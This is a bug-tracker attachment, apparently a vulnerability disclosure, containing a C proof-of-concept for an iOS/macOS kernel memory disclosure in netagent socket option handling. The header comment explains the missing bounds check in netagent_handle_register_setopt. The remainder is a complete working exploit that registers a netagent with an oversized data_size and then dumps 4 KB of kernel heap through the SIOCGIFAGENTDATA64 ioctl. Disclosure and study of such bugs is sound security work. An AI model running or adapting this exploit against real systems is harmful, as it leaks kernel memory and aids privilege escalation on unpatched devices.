New issue
Advanced search Search tips

Issue 1140 attachment: netagent.c (6.2 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
// ianbeer
#if 0
iOS/MacOS kernel memory disclosure due to lack of bounds checking in netagent socket option handling

netagent_ctl_setopt is the setsockopt handler for netagent control sockets. Options of type
NETAGENT_OPTION_TYPE_REGISTER are handled by netagent_handle_register_setopt. Here's the code:

static errno_t
netagent_handle_register_setopt(struct netagent_session *session, u_int8_t *payload,
u_int32_t payload_length)
{
int data_size = 0;
struct netagent_wrapper *new_wrapper = NULL;
u_int32_t response_error = 0;
struct netagent *register_netagent = (struct netagent *)(void *)payload; <----------- (a)

if (session == NULL) {
NETAGENTLOG0(LOG_ERR, "Failed to find session");
response_error = EINVAL;
goto done;
}

if (payload == NULL) {
NETAGENTLOG0(LOG_ERR, "No payload received");
response_error = EINVAL;
goto done;
}

if (session->wrapper != NULL) {
NETAGENTLOG0(LOG_ERR, "Session already has a registered agent");
response_error = EINVAL;
goto done;
}

if (payload_length < sizeof(struct netagent)) { <----------- (b)
NETAGENTLOG(LOG_ERR, "Register message size too small for agent: (%d < %d)",
payload_length, sizeof(struct netagent));
response_error = EINVAL;
goto done;
}

data_size = register_netagent->netagent_data_size;
if (data_size < 0 || data_size > NETAGENT_MAX_DATA_SIZE) { <----------- (c)
NETAGENTLOG(LOG_ERR, "Register message size could not be read, data_size %d",
data_size);
response_error = EINVAL;
goto done;
}

MALLOC(new_wrapper, struct netagent_wrapper *, sizeof(*new_wrapper) + data_size, M_NETAGENT, M_WAITOK);
if (new_wrapper == NULL) {
NETAGENTLOG0(LOG_ERR, "Failed to allocate agent");
response_error = ENOMEM;
goto done;
}

memset(new_wrapper, 0, sizeof(*new_wrapper) + data_size);
memcpy(&new_wrapper->netagent, register_netagent, sizeof(struct netagent) + data_size); <------------ (d)

response_error = netagent_handle_register_inner(session, new_wrapper);
if (response_error != 0) {
FREE(new_wrapper, M_NETAGENT);
goto done;
}

NETAGENTLOG0(LOG_DEBUG, "Registered new agent");
netagent_post_event(new_wrapper->netagent.netagent_uuid, KEV_NETAGENT_REGISTERED, TRUE);

done:
return response_error;
}


The payload and payload_length arguments are the socket option buffer which has be copied in to the kernel.

At (a) this is cast to a struct netagent and at (b) it's checked whether the payload is big enough to contain this structure.
Then at (c) an int read from the buffer is compared against a lower and upper bound and then used at (d) as the size of
data to copy from inside the payload buffer. It's not checked that the payload buffer is actually big enough to contain
data_size bytes of data though.

This oob data can then be retreived by userspace via the SIOCGIFAGENTDATA64 ioctl. This poc will dump 4k of kernel heap.

Tested on MacOS 10.12.3 (16D32) on MacBookPro10,1
#endif
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/kern_control.h>
#include <sys/sys_domain.h>
#include <net/if.h>
#include <netinet/in_var.h>
#include <netinet6/nd6.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int ctl_open(char* control_name) {
int sock;
int error = 0;
struct ctl_info kernctl_info;
struct sockaddr_ctl kernctl_addr;

sock = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
if (sock < 0) {
printf("failed to open a SYSPROTO_CONTROL socket: %s\n", strerror(errno));
goto done;
}

memset(&kernctl_info, 0, sizeof(kernctl_info));
strlcpy(kernctl_info.ctl_name, control_name, sizeof(kernctl_info.ctl_name));

error = ioctl(sock, CTLIOCGINFO, &kernctl_info);
if (error) {
printf("Failed to get the control info for control named \"%s\": %s\n", control_name, strerror(errno));
goto done;
}

memset(&kernctl_addr, 0, sizeof(kernctl_addr));
kernctl_addr.sc_len = sizeof(kernctl_addr);
kernctl_addr.sc_family = AF_SYSTEM;
kernctl_addr.ss_sysaddr = AF_SYS_CONTROL;
kernctl_addr.sc_id = kernctl_info.ctl_id;
kernctl_addr.sc_unit = 0;

error = connect(sock, (struct sockaddr *)&kernctl_addr, sizeof(kernctl_addr));
if (error) {
printf("Failed to connect to the control socket: %s\n", strerror(errno));
goto done;
}

done:
if (error && sock >= 0) {
close(sock);
sock = -1;
}

return sock;
}

#define NETAGENT_OPTION_TYPE_REGISTER 1
#define NETAGENT_DOMAINSIZE 32
#define NETAGENT_TYPESIZE 32
#define NETAGENT_DESCSIZE 128

struct netagent_req64 {
uuid_t netagent_uuid;
char netagent_domain[NETAGENT_DOMAINSIZE];
char netagent_type[NETAGENT_TYPESIZE];
char netagent_desc[NETAGENT_DESCSIZE];
u_int32_t netagent_flags;
u_int32_t netagent_data_size;
uint64_t netagent_data __attribute__((aligned(8)));
};

struct netagent {
uuid_t netagent_uuid;
char netagent_domain[NETAGENT_DOMAINSIZE];
char netagent_type[NETAGENT_TYPESIZE];
char netagent_desc[NETAGENT_DESCSIZE];
u_int32_t netagent_flags;
u_int32_t netagent_data_size;
u_int8_t netagent_data[0];
};

#define SIOCGIFAGENTDATA64 _IOWR('i', 168, struct netagent_req64)

int main(){
int fd = ctl_open("com.apple.net.netagent");
if (fd < 0) {
printf("failed to get control socket :(\n");
return 1;
}
printf("got a control socket! %d\n", fd);

struct netagent na = {0};
na.netagent_uuid[0] = 123;
na.netagent_data_size = 4096;

int err = setsockopt(fd,
SYSPROTO_CONTROL,
NETAGENT_OPTION_TYPE_REGISTER,
&na,
sizeof(na));
if (err == -1) {
perror("setsockopt failed");
return 0;
} else {
printf("set the option!\n");
}

uint64_t* buf = malloc(4096);
memset(buf, 0, 4096);

struct netagent_req64 req = {0};
req.netagent_uuid[0] = 123;
req.netagent_data_size = 4096;
req.netagent_data = (uint64_t)buf;


err = ioctl(fd, SIOCGIFAGENTDATA64, &req);
if (err == -1) {
perror("get getinterface agent data failed");
}else {
printf("got something?\n");
for (int i = 0; i < 4096/8; i++) {
printf("%016llx\n", buf[i]);
}
}


return 0;
}